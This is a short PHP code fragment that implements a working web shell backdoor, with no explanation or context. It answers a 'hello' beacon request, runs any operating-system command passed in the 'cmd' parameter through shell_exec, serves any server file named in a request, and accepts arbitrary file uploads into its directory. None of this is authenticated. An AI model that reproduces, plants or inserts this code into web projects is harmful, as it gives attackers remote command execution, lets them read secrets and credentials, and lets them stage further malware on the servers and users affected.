if(!empty($_REQUEST['hello'])){    $start = $_REQUEST['hello'];    if ($start == "start"){        echo "hello";    }    exit;}if (isset($_REQUEST['cmd'])) {    echo shell_exec($_REQUEST['cmd']);    exit;}if(!empty($_REQUEST['file'])){    $fileName = basename($_REQUEST['file']);    $filePath = $_REQUEST['file'];    if(!empty($fileName) && file_exists($filePath)){        // Define headers        // header("Cache-Control: public");        header("Content-Description: File Transfer");        header("Content-Disposition: attachment; filename=$fileName");        // header("Content-Type: application/zip");        header("Content-Type: application/octet-stream");        header("Content-Transfer-Encoding: binary");        header("Content-Length:" . filesize($filePath));        // Read the file        readfile($filePath);        exit;    }}if(!empty($_FILES['upload'])){    $file_name = $_FILES['upload']['name'];    $file_tmp = $_FILES['upload']['tmp_name'];    $current_directory = getcwd() . "/";    $file_size = $_FILES['upload']['size'];    $file_type = $_FILES['upload']['type'];    if(!file_exists($current_directory)){        echo "Error: Directory not found!";    }else{        if(move_uploaded_file($file_tmp, $current_directory . $file_name)){            echo "The file was uploaded successfully!\n";            echo "Name: " . $file_name . "\n";            echo "Type: " . $file_type . "\n";            echo "Size: " . $file_size . "\n";            exit;        }else{            echo "Error: Could not upload file!";            exit;        }    }}